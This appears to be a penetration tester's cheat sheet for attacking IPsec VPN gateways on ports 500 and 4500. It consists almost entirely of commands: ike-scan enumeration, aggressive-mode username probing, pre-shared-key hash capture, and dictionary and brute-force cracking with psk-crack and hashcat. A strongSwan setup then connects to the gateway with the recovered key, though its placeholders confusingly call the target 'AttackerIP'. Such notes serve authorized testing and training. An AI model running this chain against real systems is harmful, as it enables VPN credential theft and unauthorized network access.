IPsec IKE | 500, 4500

## ------------------| Basic scan
sudo ike-scan -M $IP

## ------------------| Aggressive scan
sudo ike-scan -A -M $IP

## ------------------| Custom Transform Enumeration
# Manually define encryption, hash, auth, and group (e.g., AES-256, SHA1, PSK, DH Group 2)
sudo ike-scan -M --trans=7/256,2,1,2 $IP

## ------------------| Username Enumeration (Cisco/Nortel)
# Some gateways reveal if a group ID/username is valid in Aggressive Mode
sudo ike-scan -A -M --id=vpnuser $IP

## ------------------| PSK Hash Capture
sudo ike-scan -A -M --pskcrack=psk_hash.txt $IP
sudo ike-scan -A -P $IP

## ------------------| PSK Cracking (Dictionary Attack)
psk-crack -d /usr/share/wordlists/rockyou.txt psk_hash.txt
hashcat psk_hash.txt /usr/share/wordlists/rockyou.txt

## ------------------| PSK Cracking (Brute Force)
psk-crack -b 5 psk_hash.txt

## ------------------| NAT-T (Port 4500) Scanning
# Scans for IKE on the NAT Traversal port
sudo ike-scan -M --port=4500 $IP

• IPsec Tunneling/Transport

## ------------------| Install StrongsWan
apt-get install strongswan

## ------------------| Edit the /etc/ipsec.secrets (strongSwan IPsec secrets) file
<AttackersIP> %any : PSK "v+NkxY9LL..<ReplaceThiskey>"

## ------------------| Edit the /etc/ipsec.conf file
conn ConfigNameHere
    type=transport
    keyexchange=<ReplaceIKEVersion>
    authby=psk
    right=<AttackerIP>
    rightprotoport=tcp # if you want tcp,if not remove this
    leftprotoport=tcp # if you want tcp,if not remove this
    esp=3des-sha1 # we can get this from ike-scan -M AttackerIP | grep 'SA' | awk -F= '{print $3}'   
    ike=3des-sha1-modp1024 #we can get this from ike-scan -M AttackerIP | grep 'SA' | awk -F= '{print $5}'
    auto=start

## ------------------| Start service
ipsec start --nofork

• Troubleshooting IPsec VPNs